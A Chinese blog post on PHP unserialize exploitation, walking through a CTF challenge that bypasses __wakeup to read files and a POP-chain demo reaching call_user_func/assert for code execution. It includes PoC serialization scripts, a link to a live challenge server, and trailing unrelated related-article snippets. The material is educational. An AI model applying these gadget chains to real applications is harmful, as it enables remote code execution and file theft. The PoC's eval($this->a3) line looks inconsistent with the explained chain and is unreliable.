0x01 php简单的反序列化

  这题是在网上看到的,原题连接不太了解,但是源码题目给了出来,稍微下文件名和排版在本地测试

<?php
class SoFun{
protected $file='ser.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false){
show_source(dirname (__FILE__).'/'.$this ->file);
}
}
else{
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='ser.php';
}
function __toString(){
return '' ;
}
} if(!isset($_GET['file'])){
show_source('ser.php');
}
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file );
}
?>

题目的相关魔术方法调用时机

__destruct()类似于c中的析构函数,在对象被销毁时调用

__toString()在这里没啥用

__wakeup()在进行反序列化的时候调用

__destruct()中读取了文件,最终用它读取flag, __wakeup()把读取的文件的对应变量变成当前文件

__wakeup()在__destruct()前面调用

那么目的是绕过__wakeup()进行__destruct()操作

对应wakeup(),存在以下问题,当序列化的字符串中描述的类的成员个数和 {} 内的成员个数不同的时候不会被调用

首先构造payload

<?php
class SoFun{
protected $file='hello.txt';
public $a = "a";
}
$add = new SoFun;
echo base64_encode(serialize($add));

运行生成base64

先将它base64解码,然后删除{}中a的对应序列(注意:因为protect和private存在不可见字符,所有用base64,或url编码输出)

最终再base64编个码,包含进来即可,我hello.txt文件的内容即之前做题留在上面的文件(所有内容不重要,重要的是漏洞利用>_<)

0x02 PHP反序列化的进一步利用

php反序列化的知识点i春秋上的一篇文件写的非常详细

https://bbs.ichunqiu.com/thread-39169-1-1.html

那么结合最后的typecho的反序列漏洞,模仿着写了一个简易的代码

<?php
class C1{
function __construct($key, $word){
$sijidou = $key . $word;
}
}
class C2{
private $a2;
function __toString(){
echo $this->a2->ying;
return "hello";
}
}
class C3{
private $fun;
private $parm;
function __get($key){
$this->run();
return null;
}
function run(){
call_user_func($this->fun, $this->parm);
}
}
if(isset($_GET['ser'])){
$s = $_GET['ser'];
$arr = unserialize($s);
$class1 = new C1($arr['siji'],$arr['dou']);
}
else{
highlight_file("demo.php");
}
?>

这里是需要构造pop链,来达到最终执行run()方法中的call_user_func()来达到代码执行

构造思路是入口为ser的参数,该参数是数组

ser数组的 "siji" 和 "dou" 两个键值対会被C1的中的__construct调用

该函数把参数当做字符串进行字符串使用,于是可能会调用到C2的__toString魔术方法

__toString方法里面调用了私有成员的方法,因此又可以利用C3的__get魔术方法

而 __get魔术方法会调用到run(),从而达到代码执行

附上我写的poc

<?php
class C1{
function __construct($key, $word){
$sijidou = $key . $word;
}
} class C2{
private $a2;
function __toString(){
$this->a2->ying;
return "hello";
}
function add(){
$this->a2 = new C3();
}
} class C3{
private $fun = "assert";
private $parm = "phpinfo()";
function __get($key){
$this->run();
}
function run(){
eval($this->a3);
}
}
$class2 = new C2();
$class3 = new C3();
$class2->add();
$exp = array('siji' => $class2, 'dou' => 'dou');
echo urlencode(serialize($exp)); ?>

利用成功,成功执行phpinfo

这里自己因为一些原因把该题目挂到了自己的服务器上,大家可以试着找找其中的flag(注:请执行看看phpinfo里面的禁用的函数)

http://134.175.147.161:10007/

php反序列化简叙的更多相关文章

  1. C#学习笔记(1) --简叙.net体系结构

    1 C#与.NET的关系 (1) C#是专门为与Microsoft的.Net Framework一起使用而设计的. (2) C#是一种基于面向对象设计方法的的语言. (3) 需要注意的是,C#就其本身 ...

  2. STL 里面的几个容器简叙

    出处:http://blog.csdn.net/niushuai666/article/details/6654951 list1.list的成员函数push_back()把一个对象放到一个list的 ...

  3. AMD单双桥时序简叙

    芯片组(双桥)时序 VBAT :RTC电路的供电3V(RTC电路有问题会导致没复位或不跑码等故障) RTCCLK :晶振起振给南桥提供32.768KHz频率(RTC电路有问题会导致没复位或不跑码等故障 ...

  4. iOS面试题集锦

    一.前言部分 文中的问题多收集整理自网络,不保证100%准确,还望斟酌采纳. 1.怎样防止指针的越界使用问题? 答案: 1 .防止数组越界,必须让指针指向一个有效的内存地址, 2. 防止向一块内存中拷 ...

  5. 利用窗口引用漏洞和XSS漏洞实现浏览器劫持

    ==Ph4nt0m Security Team==                        Issue 0x03, Phile #0x05 of 0x07 |=----------------- ...

  6. Android SQLite总结[转载]

    [转载] :http://blog.163.com/zqy216_2008/blog/static/4119371820119954812509/ 最近在做的项目涉及到了SQLite,大学时没有好好学 ...

  7. iOS知识点集合--更改(2)

    3.nsmutablearray *a 如果直接赋值 a = @[@"d",@""]; 这个时候a 是不可变的 字典也是如此 2.如果接口调用错误的话 打印re ...

  8. 对称加密之AES加密详解

    最近有人问我AES对称加密是啥,我回答了个大概,发现自己不能清晰的讲出来,特此记录,以供学习 一.对称加密 对称加密是最快速.最简单的一种加密方式,加密(encryption)与解密(decrypti ...

  9. HighCharts基本使用

    一.简叙 HighCharts是一个非常强大的画图插件,在以后的工作汇报,数字展示,它将是一把利器.既然是插件,那么就有它的使用规则,我们只需要遵循它的使用规则,就可以画出我们想要的展示效果了.期待吗 ...

随机推荐

  1. 零基础http代理http完美代理访问

    如果翻过墙,或者做过渗透啥的,肯定对代理不陌生,说白了,代理服务器就是一个中转站,你对目标网址的请求都会进过代理服务器去请求,类似于一个被你操控的傀儡,别人能知道的也只能是这个代理,从而提升安全性和访 ...

  2. 同步阿里云镜像到本地,在本地搭建YUM仓库

    1.下载阿里云镜像repo文件 项目使用CentOS6系统,因此我下载的文件是: # CentOS-Base.repo # # The mirror system uses the connectin ...

  3. windows下解压zip包,包含中文解析

    #coding=utf8 import os import zipfile import sys,locale # 本来以为需要,结果不需要 # def p(f): # #print '%s.%s() ...

  4. linux系统切换用户

    无权限上传文件解决办法 1.当前登录的普通用户:user1/password1 2.切换到管理员(user2)用户: sudo su - user2 输入user2用户的密码:password2 或者 ...

  5. Linux常用命令2(远程文件下载+查看文件内容)

    一.远程文件下载的两种方法:ftp命令 + scp命令 ftp命令: 服务器若安装了ftp Server,另外一台Linux可以使用ftp的client程序来进行文件的远程拷贝读取下载和写入上载. 1 ...

  6. table下tbody滚动条与thead对齐的方法且每一列可以不均等

    1 前言 table下tbody滚动条与thead对齐的方法,开始在tbody的td和thead的tr>td,对每一个Item加入百分比,结果是没对齐.也尝试了用bootstrap的col-md ...

  7. mysql分组排序取最大值所在行,类似hive中row_number() over partition by

    如下图, 计划实现 :按照 parent_code 分组, 取组中code最大值所在的整条记录,如红色部分.(类似hive中: row_number() over(partition by)) sel ...

  8. Python-HTML基础

    1.HTML 1.HTML是什么 超文本标记语言,即学习这门语言就是在一堆标记 2.为何要用? 标记文本 3.如何用? HTML标签就是用来做记号的,虽然这些记号自带一些样式,但务必忽略掉记号的样式, ...

  9. SQL日期时间和字符串函数

  10. cf1108e 线段树区间更新+扫描线

    /* 有点像扫描线 思路:从左到右枚举每个点,枚举到点i时,把所有以i为起点的区间的影响删去 再加上以i-1为结尾的区间的影响 */ #include<bits/stdc++.h> usi ...